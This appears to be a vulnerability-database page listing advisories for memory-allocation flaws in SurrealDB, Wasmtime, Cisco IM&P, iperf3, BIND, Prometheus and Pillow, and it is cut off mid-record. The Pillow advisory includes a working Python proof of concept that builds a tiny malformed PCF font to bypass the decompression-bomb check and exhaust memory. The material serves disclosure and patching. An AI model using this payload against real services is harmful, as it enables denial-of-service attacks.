Common Weakness Enumeration

CWE-789

Allowed

Memory Allocation with Excessive Size Value

Abstraction: Variant · Status: Draft

API response cwe.mitre.org

The product allocates memory based on an untrusted, large size value, but it does not ensure that the size is within expected limits, allowing arbitrary amounts of memory to be allocated.

395 vulnerabilities reference this CWE, most recent first.

GHSA-849X-5QR7-WXFM

Vulnerability from github – Published: 2026-07-18 15:31 – Updated: 2026-07-18 15:31
VLAI
Details

SurrealDB versions before 2.2.2 contain a memory exhaustion vulnerability in the string::replace function that fails to restrict resulting string length when using regex patterns. An authenticated attacker can craft a malicious query to exhaust server memory through unbounded string allocations, causing denial of service.

Severity
7.1 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-71395"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-18T14:17:10Z",
    "severity": "HIGH"
  },
  "details": "SurrealDB versions before 2.2.2 contain a memory exhaustion vulnerability in the string::replace function that fails to restrict resulting string length when using regex patterns. An authenticated attacker can craft a malicious query to exhaust server memory through unbounded string allocations, causing denial of service.",
  "id": "GHSA-849x-5qr7-wxfm",
  "modified": "2026-07-18T15:31:49Z",
  "published": "2026-07-18T15:31:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/surrealdb/surrealdb/security/advisories/GHSA-3633-g6mg-p6qq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-71395"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/surrealdb-before-memory-exhaustion-via-string-replace"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-852M-CVVP-9P4W

Vulnerability from github – Published: 2026-02-24 20:47 – Updated: 2026-02-27 20:25
VLAI
Summary
Wasmtime WASI implementations are vulnerable to guest-controlled resource exhaustion
Details

Impact

Wasmtime's implementation of WASI host interfaces are susceptible to guest-controlled resource exhaustion on the host. Wasmtime did not appropriately place limits on resource allocations requested by the guests. This serves as a Denial of Service vector where a guest can induce a range of crashing behaviors on the host such as:

  • Allocating arbitrarily large amounts of host memory.
  • Causing an allocation failure on the host, which in Rust defaults to aborting the process.
  • Causing a panic on the host due to over-large allocations being performed.
  • Cause degredation in performance of the host by holding excessive host memory alive.

Wasmtime's security bug policy considers all of these behaviors a security vulnerability. Wasmtime's implementation of WASI has a number of different ways that resource exhaustion could happen, and fixing any one of them is insufficient from solving this vulnerability. A number of individual issues are grouped within this advisory and as a whole represent the known ways that guests can exhaust resources on the host.

An example of guest-controlled resource exhaustion within Wasmtime's implementation of WASI is guests could repeatedly allocate handles to themselves without limit. Some APIs also caused the host to perform a guest-controlled-sized allocation of a buffer on the host for I/O operations. Other APIs could force the host to buffer arbitrary amounts of data for the guest. Finally the guest could hand arbitrarily large allocations from itself to the host which could cause the host to perform an arbitrarily sized copy of memory which in some situations could result in quadratically sized allocations.

Wasmtime's implementations of WASIp1 and WASIp2 are affected by this vulnerability. Any host API modeled with the Component Model (or WIT) which operates on a string or list<T> type is also affected. Not all WIT and WASI APIs are affected by this issue, but that's more of an exception so it's recommended for all embedders to consider themselves affected.

To address this issue a number of mitigations are being applied to limit the behavior of a guest in WASI. All of these mitigations manifest in the form of a limit of some kind applied to various situations, and as such all of these mitigations are backwards-incompatible as they run the risk of breaking preexisting programs. To address this all backports to previous stable releases have these limits tuned to overly-large values. This ensures that preexisting guests do not break while still providing embedders the knobs to prevent this DoS vector as well. The limits added to Wasmtime are:

  • -Smax-resources=N or ResourceTable::set_max_capacity - the maximum number of resources that a guest is allowed to allocate for itself.
  • -Shostcall-fuel=N or Store::set_hostcall_fuel - the maximum amount of data that the guest may copy to the host in a single function call.
  • -Smax-random-size=N or WasiCtxBuilder::max_random_size - the maximum size of the return value of get-random-bytes and get-insecure-random-bytes in the wasi:random implementations.
  • -Smax-http-fields-size=N or WasiHttpCtx::set_max_fields_size - the maximum size of headers for an HTTP request/response.

These settings are equally applicable to both WASIp1 and WASIp2. Wasmtime 41.0.x and prior previously did not limit these settings and the knobs being released are set to very large values by default to avoid any breaking behavior. Embedders will need to proactively tune these knobs as appropriate for their embeddings. The default settings in the unreleased Wasmtime 42.0.0 are 1M for max resources, 128MiB for hostcall fuel, 64MiB for max-random-size, and 32KiB for http fields size. Tuning is not expected for Wasmtime 42.0.0+.

Hosts/embedders affected by this issue are encouraged to audit and double-check their own host APIs they have implemented to see whether they are affected by this issue as well. The -Shostcall-fuel setting is intended to be a relatively coarse fix for many possible issues by limiting the amount of data for all host APIs at once, so many embedders may not need to take further action beyond updating Wasmtime and configuring it appropriately (if not updating to 42.0.0). Embedders should audit to see, however, if the guest is able to force the host to allocate on its behalf and ensure that the allocation is limited or tracked somehow.

Patches

Wasmtime 24.0.6, 36.0.6, 40.0.4, 41.0.4, and 42.0.0 have all been released with the fix for this issue. These versions do not prevent this issue in their default configuration to avoid breaking preexisting behaviors. All versions of Wasmtime have appropriate knobs to prevent this behavior, and Wasmtime 42.0.0-and-later will have these knobs tuned by default to prevent this issue from happening.

Workarounds

There are no known workarounds for this issue without upgrading. Embedders are recommended to upgrade and configure their embeddings as necessary to prevent possibly-malicious guests from triggering this issue.

Resources

Severity
5.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "wasmtime"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "24.0.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "wasmtime"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "25.0.0"
            },
            {
              "fixed": "36.0.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "wasmtime"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "37.0.0"
            },
            {
              "fixed": "40.0.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27204"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770",
      "CWE-774",
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-24T20:47:08Z",
    "nvd_published_at": "2026-02-24T22:16:32Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nWasmtime\u0027s implementation of WASI host interfaces are susceptible to guest-controlled resource exhaustion on the host. Wasmtime did not appropriately place limits on resource allocations requested by the guests. This serves as a Denial of Service vector where a guest can induce a range of crashing behaviors on the host such as:\n\n* Allocating arbitrarily large amounts of host memory.\n* Causing an allocation failure on the host, which in Rust defaults to aborting the process.\n* Causing a panic on the host due to over-large allocations being performed.\n* Cause degredation in performance of the host by holding excessive host memory alive.\n\nWasmtime\u0027s [security bug policy](https://docs.wasmtime.dev/security-what-is-considered-a-security-vulnerability.html) considers all of these behaviors a security vulnerability. Wasmtime\u0027s implementation of WASI has a number of different ways that resource exhaustion could happen, and fixing any one of them is insufficient from solving this vulnerability. A number of individual issues are grouped within this advisory and as a whole represent the known ways that guests can exhaust resources on the host.\n\nAn example of guest-controlled resource exhaustion within Wasmtime\u0027s implementation of WASI is guests could repeatedly allocate handles to themselves without limit. Some APIs also caused the host to perform a guest-controlled-sized allocation of a buffer on the host for I/O operations. Other APIs could force the host to buffer arbitrary amounts of data for the guest. Finally the guest could hand arbitrarily large allocations from itself to the host which could cause the host to perform an arbitrarily sized copy of memory which in some situations could result in quadratically sized allocations.\n\nWasmtime\u0027s implementations of WASIp1 and WASIp2 are affected by this vulnerability. Any host API modeled with the Component Model (or WIT) which operates on a `string` or `list\u003cT\u003e` type is also affected. Not all WIT and WASI APIs are affected by this issue, but that\u0027s more of an exception so it\u0027s recommended for all embedders to consider themselves affected.\n\nTo address this issue a number of mitigations are being applied to limit the behavior of a guest in WASI. All of these mitigations manifest in the form of a limit of some kind applied to various situations, and as such all of these mitigations are backwards-incompatible as they run the risk of breaking preexisting programs. To address this all backports to previous stable releases have these limits tuned to overly-large values. This ensures that preexisting guests do not break while still providing embedders the knobs to prevent this DoS vector as well. The limits added to Wasmtime are:\n\n* `-Smax-resources=N` or `ResourceTable::set_max_capacity` - the maximum number of resources that a guest is allowed to allocate for itself.\n* `-Shostcall-fuel=N` or `Store::set_hostcall_fuel` - the maximum amount of data that the guest may copy to the host in a single function call.\n* `-Smax-random-size=N` or `WasiCtxBuilder::max_random_size` - the maximum size of the return value of `get-random-bytes` and `get-insecure-random-bytes` in the `wasi:random` implementations.\n* `-Smax-http-fields-size=N` or `WasiHttpCtx::set_max_fields_size` - the maximum size of headers for an HTTP request/response.\n\nThese settings are equally applicable to both WASIp1 and WASIp2. Wasmtime 41.0.x and prior previously did not limit these settings and the knobs being released are set to very large values by default to avoid any breaking behavior. Embedders will need to proactively tune these knobs as appropriate for their embeddings. The default settings in the unreleased Wasmtime 42.0.0 are 1M for max resources, 128MiB for hostcall fuel, 64MiB for max-random-size, and 32KiB for http fields size. Tuning is not expected for Wasmtime 42.0.0+.\n\nHosts/embedders affected by this issue are encouraged to audit and double-check their own host APIs they have implemented to see whether they are affected by this issue as well. The `-Shostcall-fuel` setting is intended to be a relatively coarse fix for many possible issues by limiting the amount of data for all host APIs at once, so many embedders may not need to take further action beyond updating Wasmtime and configuring it appropriately (if not updating to 42.0.0). Embedders should audit to see, however, if the guest is able to force the host to allocate on its behalf and ensure that the allocation is limited or tracked somehow.\n\n### Patches\n\nWasmtime 24.0.6, 36.0.6, 40.0.4, 41.0.4, and 42.0.0 have all been released with the fix for this issue. These versions do not prevent this issue in their default configuration to avoid breaking preexisting behaviors. All versions of Wasmtime have appropriate knobs to prevent this behavior, and Wasmtime 42.0.0-and-later will have these knobs tuned by default to prevent this issue from happening.\n\n### Workarounds\n\nThere are no known workarounds for this issue without upgrading. Embedders are recommended to upgrade and configure their embeddings as necessary to prevent possibly-malicious guests from triggering this issue.\n\n### Resources\n\n* [`Store::set_hostcall_fuel`](https://docs.rs/wasmtime/latest/wasmtime/struct.Store.html#method.set_hostcall_fuel)\n* [`ResourceTable::set_max_capacity`](https://docs.rs/wasmtime/latest/wasmtime/component/struct.ResourceTable.html#method.set_max_capacity)\n* [`WasiCtxBuilder::max_random_size`](https://docs.rs/wasmtime-wasi/latest/wasmtime_wasi/struct.WasiCtxBuilder.html#method.max_random_size)\n* [Original PR showing resource exhaustion](https://github.com/bytecodealliance/wasmtime/pull/12599)\n* [Issue about limiting max resource handles per-guest](https://github.com/bytecodealliance/wasmtime/issues/11552)",
  "id": "GHSA-852m-cvvp-9p4w",
  "modified": "2026-02-27T20:25:10Z",
  "published": "2026-02-24T20:47:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/bytecodealliance/wasmtime/security/advisories/GHSA-852m-cvvp-9p4w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27204"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bytecodealliance/wasmtime/issues/11552"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bytecodealliance/wasmtime/pull/12599"
    },
    {
      "type": "WEB",
      "url": "https://docs.rs/wasmtime-wasi/latest/wasmtime_wasi/struct.WasiCtxBuilder.html#method.max_random_size"
    },
    {
      "type": "WEB",
      "url": "https://docs.rs/wasmtime/latest/wasmtime/component/struct.ResourceTable.html#method.set_max_capacity"
    },
    {
      "type": "WEB",
      "url": "https://docs.rs/wasmtime/latest/wasmtime/struct.Store.html#method.set_hostcall_fuel"
    },
    {
      "type": "WEB",
      "url": "https://docs.wasmtime.dev/security-what-is-considered-a-security-vulnerability.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/bytecodealliance/wasmtime"
    },
    {
      "type": "WEB",
      "url": "https://rustsec.org/advisories/RUSTSEC-2026-0020.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Wasmtime WASI implementations are vulnerable to guest-controlled resource exhaustion"
}

GHSA-8937-GCF5-34XQ

Vulnerability from github – Published: 2023-06-28 15:30 – Updated: 2023-06-28 15:30
VLAI
Details

A vulnerability in the XCP Authentication Service of the Cisco Unified Communications Manager IM & Presence Service (Unified CM IM&P) could allow an unauthenticated, remote attacker to cause a temporary service outage for all Cisco Unified CM IM&P users who are attempting to authenticate to the service, resulting in a denial of service (DoS) condition. This vulnerability is due to improper validation of user-supplied input. An attacker could exploit this vulnerability by sending a crafted login message to the affected device. A successful exploit could allow the attacker to cause an unexpected restart of the authentication service, preventing new users from successfully authenticating. Exploitation of this vulnerability does not impact Cisco Unified CM IM&P users who were authenticated prior to an attack.

Severity
7.5 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-20108"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770",
      "CWE-789"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-06-28T15:15:09Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in the XCP Authentication Service of the Cisco Unified Communications Manager IM \u0026amp; Presence Service (Unified CM IM\u0026amp;P) could allow an unauthenticated, remote attacker to cause a temporary service outage for all Cisco Unified CM IM\u0026amp;P users who are attempting to authenticate to the service, resulting in a denial of service (DoS) condition. This vulnerability is due to improper validation of user-supplied input. An attacker could exploit this vulnerability by sending a crafted login message to the affected device. A successful exploit could allow the attacker to cause an unexpected restart of the authentication service, preventing new users from successfully authenticating. Exploitation of this vulnerability does not impact Cisco Unified CM IM\u0026amp;P users who were authenticated prior to an attack.",
  "id": "GHSA-8937-gcf5-34xq",
  "modified": "2023-06-28T15:30:23Z",
  "published": "2023-06-28T15:30:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-20108"
    },
    {
      "type": "WEB",
      "url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cucm-imp-dos-49GL7rzT"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8M2W-V7G5-76V3

Vulnerability from github – Published: 2026-08-11 09:32 – Updated: 2026-08-11 12:30
VLAI
Details

A flaw was found in iperf3. A remote unauthenticated attacker can exploit a vulnerability in the JSON_read() function, which accepts a peer-controlled message length and allocates memory without an upper bound. This allows the attacker to trigger excessive memory consumption, leading to a Denial of Service (DoS) through memory exhaustion, severe slowdown, or termination of the iperf3 service.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-71218"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-11T09:17:14Z",
    "severity": "MODERATE"
  },
  "details": "A flaw was found in iperf3. A remote unauthenticated attacker can exploit a vulnerability in the `JSON_read()` function, which accepts a peer-controlled message length and allocates memory without an upper bound. This allows the attacker to trigger excessive memory consumption, leading to a Denial of Service (DoS) through memory exhaustion, severe slowdown, or termination of the iperf3 service.",
  "id": "GHSA-8m2w-v7g5-76v3",
  "modified": "2026-08-11T12:30:22Z",
  "published": "2026-08-11T09:32:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-71218"
    },
    {
      "type": "WEB",
      "url": "https://github.com/esnet/iperf/commit/0128d0357b7e8916fe39e980e455729bc0e5fd4e"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-71218"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2463003"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8MXM-4GJM-VRC7

Vulnerability from github – Published: 2024-02-13 15:31 – Updated: 2024-05-03 15:30
VLAI
Details

To keep its cache database efficient, named running as a recursive resolver occasionally attempts to clean up the database. It uses several methods, including some that are asynchronous: a small chunk of memory pointing to the cache element that can be cleaned up is first allocated and then queued for later processing. It was discovered that if the resolver is continuously processing query patterns triggering this type of cache-database maintenance, named may not be able to handle the cleanup events in a timely manner. This in turn enables the list of queued cleanup events to grow infinitely large over time, allowing the configured max-cache-size limit to be significantly exceeded. This issue affects BIND 9 versions 9.16.0 through 9.16.45 and 9.16.8-S1 through 9.16.45-S1.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-6516"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770",
      "CWE-789"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-02-13T14:15:46Z",
    "severity": "HIGH"
  },
  "details": "To keep its cache database efficient, `named` running as a recursive resolver occasionally attempts to clean up the database. It uses several methods, including some that are asynchronous: a small chunk of memory pointing to the cache element that can be cleaned up is first allocated and then queued for later processing. It was discovered that if the resolver is continuously processing query patterns triggering this type of cache-database maintenance, `named` may not be able to handle the cleanup events in a timely manner. This in turn enables the list of queued cleanup events to grow infinitely large over time, allowing the configured `max-cache-size` limit to be significantly exceeded.\nThis issue affects BIND 9 versions 9.16.0 through 9.16.45 and 9.16.8-S1 through 9.16.45-S1.",
  "id": "GHSA-8mxm-4gjm-vrc7",
  "modified": "2024-05-03T15:30:36Z",
  "published": "2024-02-13T15:31:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-6516"
    },
    {
      "type": "WEB",
      "url": "https://kb.isc.org/docs/cve-2023-6516"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PNNHZSZPG2E7NBMBNYPGHCFI4V4XRWNQ"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ZDZFMEKQTZ4L7RY46FCENWFB5MDT263R"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20240503-0008"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2024/02/13/1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8RM2-7QQF-34QM

Vulnerability from github – Published: 2026-05-05 19:34 – Updated: 2026-06-08 16:22
VLAI
Summary
Prometheus: Remote read endpoint allows denial of service via crafted snappy payload
Details

Impact

The remote read endpoint (/api/v1/read) does not validate the declared decoded length in a snappy-compressed request body before allocating memory. An unauthenticated attacker can send a small payload that causes a huge heap allocation per request. Under concurrent load this can exhaust available memory and crash the Prometheus process.

Patches

Has the problem been patched? What versions should users upgrade to?

Fixed in 3.11.3 and 3.5.3 LTS. Users should upgrade to these versions or later.

Workarounds

User who can not upgrade can place Prometheus behind a reverse proxy or firewall that requires authentication before requests reach /api/v1/read.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/prometheus/prometheus"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.306.0"
            },
            {
              "fixed": "0.311.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/prometheus/prometheus"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.305.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/prometheus/prometheus"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0-rc.0"
            },
            {
              "last_affected": "2.5.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42154"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T19:34:05Z",
    "nvd_published_at": "2026-05-04T19:16:04Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nThe remote read endpoint (`/api/v1/read`) does not validate the declared decoded length in a snappy-compressed request body before allocating memory.\nAn unauthenticated attacker can send a small payload that causes a huge heap allocation per request. Under concurrent load this can exhaust available memory and crash the Prometheus process.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\nFixed in 3.11.3 and 3.5.3 LTS. Users should upgrade to these versions or later.\n\n### Workarounds\nUser who can not upgrade can place Prometheus behind a reverse proxy or firewall that requires authentication before requests reach /api/v1/read.",
  "id": "GHSA-8rm2-7qqf-34qm",
  "modified": "2026-06-08T16:22:14Z",
  "published": "2026-05-05T19:34:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/prometheus/prometheus/security/advisories/GHSA-8rm2-7qqf-34qm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42154"
    },
    {
      "type": "WEB",
      "url": "https://github.com/prometheus/prometheus/pull/18584"
    },
    {
      "type": "WEB",
      "url": "https://github.com/prometheus/prometheus/pull/18585"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/prometheus/prometheus"
    },
    {
      "type": "WEB",
      "url": "https://github.com/prometheus/prometheus/releases/tag/v3.11.3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/prometheus/prometheus/releases/tag/v3.5.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prometheus: Remote read endpoint allows denial of service via crafted snappy payload"
}

GHSA-8V84-F9PQ-WR9X

Vulnerability from github – Published: 2026-07-20 21:08 – Updated: 2026-07-20 21:08
VLAI
Summary
Pillow `PcfFontFile._load_bitmaps()`: `Image.frombytes()` called without `_decompression_bomb_check()` — bomb protection bypass via PCF font loading
Details

Description

PIL/PcfFontFile.py _load_bitmaps() (line 227) reads glyph dimensions from the PCF METRICS section and passes them directly to Image.frombytes() without calling Image._decompression_bomb_check(). Dimensions originate from unsigned 16-bit values:

xsize = right - left          (max: 65535 − 0 = 65535)
ysize = ascent + descent      (max: 65535 + 65535 = 131070)

Maximum exploitable pixel count: 65,535 × 131,070 = 8,589,734,450 pixels — 48× the DecompressionBombError threshold.

Vulnerable code (PIL/PcfFontFile.py line 224–227):

for i in range(nbitmaps):
    xsize, ysize = metrics[i][:2]    # from PCF METRICS — attacker-controlled
    b, e = offsets[i : i + 2]
    bitmaps.append(
        Image.frombytes("1", (xsize, ysize), data[b:e], "raw", mode, pad(xsize))
        # ↑ NO _decompression_bomb_check()!
    )

Image.frombytes() calls Image.new() first (allocating the full C-heap buffer), then attempts to fill it. This creates two distinct attack paths:

  • Persistent attack: Provide matching bitmap data → frombytes() succeeds → image stored in font.glyph[ch] permanently
  • Transient attack: Provide a 148-byte PCF file with large declared dimensions but no data → Image.new() allocates the full buffer → ValueError → buffer freed → but the spike occurs before Python can respond

Steps to reproduce

Proof of Concept script:

#!/usr/bin/env python3
"""PoC: PcfFontFile bomb bypass — 148-byte PCF → 23 MB allocation"""
import io, struct, tracemalloc, warnings
warnings.filterwarnings("ignore")

from PIL.PcfFontFile import PcfFontFile
from PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError

W, H = 14000, 14000   # 196M pixels → above DecompressionBombError threshold

# Show what Image.open() would do
warnings.filterwarnings("error", category=DecompressionBombWarning)
try:
    _decompression_bomb_check((W, H))
except (DecompressionBombWarning, DecompressionBombError) as e:
    print(f"[Image.open() path] BLOCKED by {type(e).__name__}")
warnings.filterwarnings("ignore")

# PCF binary constants
PCF_MAGIC    = 0x70636601
PCF_PROPS    = 1 << 0
PCF_METRICS  = 1 << 2
PCF_BITMAPS  = 1 << 3
PCF_ENCODINGS= 1 << 5

def build_bomb_pcf(xsize, ysize):
    # Properties: empty
    props = struct.pack("<III", 0, 0, 0)

    # Metrics (jumbo, non-compressed): 1 glyph — xsize=right-left, ysize=ascent+descent
    metrics = struct.pack("<II", 0, 1)
    metrics += struct.pack("<HHHHHH", 0, xsize, xsize, ysize, 0, 0)

    # Bitmaps: 1 glyph, empty data (transient attack)
    bitmaps = struct.pack("<II", 0, 1)
    bitmaps += struct.pack("<I", 0)              # offset[0] = 0
    bitmaps += struct.pack("<IIII", 0, 0, 0, 0) # bitmap_sizes all = 0

    # Encodings: char 0x41 ('A') → glyph 0
    enc_offsets = [0xFFFF]*65 + [0] + [0xFFFF]*62
    encodings = struct.pack("<IHHHHH", 0, 0, 127, 0, 0, 0xFFFF)
    encodings += struct.pack("<" + "H"*128, *enc_offsets)

    secs = [(PCF_PROPS, props), (PCF_METRICS, metrics),
            (PCF_BITMAPS, bitmaps), (PCF_ENCODINGS, encodings)]
    hdr_size = 4 + 4 + len(secs) * 16
    out = struct.pack("<II", PCF_MAGIC, len(secs))
    offset = hdr_size
    for stype, sdata in secs:
        out += struct.pack("<IIII", stype, 0, len(sdata), offset)
        offset += len(sdata)
    for _, sdata in secs:
        out += sdata
    return out

pcf = build_bomb_pcf(W, H)
print(f"[*] PCF file size  : {len(pcf)} bytes")
print(f"[*] Glyph size     : {W} x {H} = {W*H:,} pixels")
print(f"[*] C-heap target  : {W*H//8//1024**2} MB  (mode '1' = 1 bit/pixel)")

tracemalloc.start()
try:
    font = PcfFontFile(io.BytesIO(pcf))
    _, peak = tracemalloc.get_traced_memory()
    tracemalloc.stop()
    print(f"[!] CONFIRMED (persistent): bomb check bypassed — heap peak {peak/1024**2:.2f} MB")
except Exception as e:
    _, peak = tracemalloc.get_traced_memory()
    tracemalloc.stop()
    print(f"[!] CONFIRMED (transient): {type(e).__name__} after allocation")
    print(f"    Heap peak: {peak/1024**2:.2f} MB")
    print(f"    C-heap allocation of ~{W*H//8//1024**2} MB occurred before exception")

Expected output:

[Image.open() path] BLOCKED by DecompressionBombError
[*] PCF file size  : 148 bytes
[*] Glyph size     : 14000 x 14000 = 196,000,000 pixels
[*] C-heap target  : 23 MB  (mode '1' = 1 bit/pixel)
[!] CONFIRMED (transient): ValueError after allocation
    C-heap allocation of ~23 MB occurred before exception

Amplification table:

PCF file Glyph dims C-heap (mode '1') Bomb check
148 bytes 14000 × 14000 23 MB (transient) Bypassed
148 bytes 65535 × 131070 1.07 GB (transient) Bypassed
~512 MB 65535 × 131070 1.07 GB (persistent) Bypassed

Impact

  • Availability: HIGH — up to 1.07 GB per glyph, no limit per font file
  • Confidentiality: None
  • Integrity: None
  • Any service loading PCF fonts from untrusted sources (e.g., PcfFontFile(fp)) is affected
  • PcfFontFile is never loaded via Image.open(), so the bomb check protection is completely absent from the entire PCF font loading path
  • Confirmed unpatched on python-pillow/Pillow main branch as of 2026-06-07
Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pillow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "12.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54059"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-20T21:08:27Z",
    "nvd_published_at": "2026-07-06T19:17:08Z",
    "severity": "HIGH"
  },
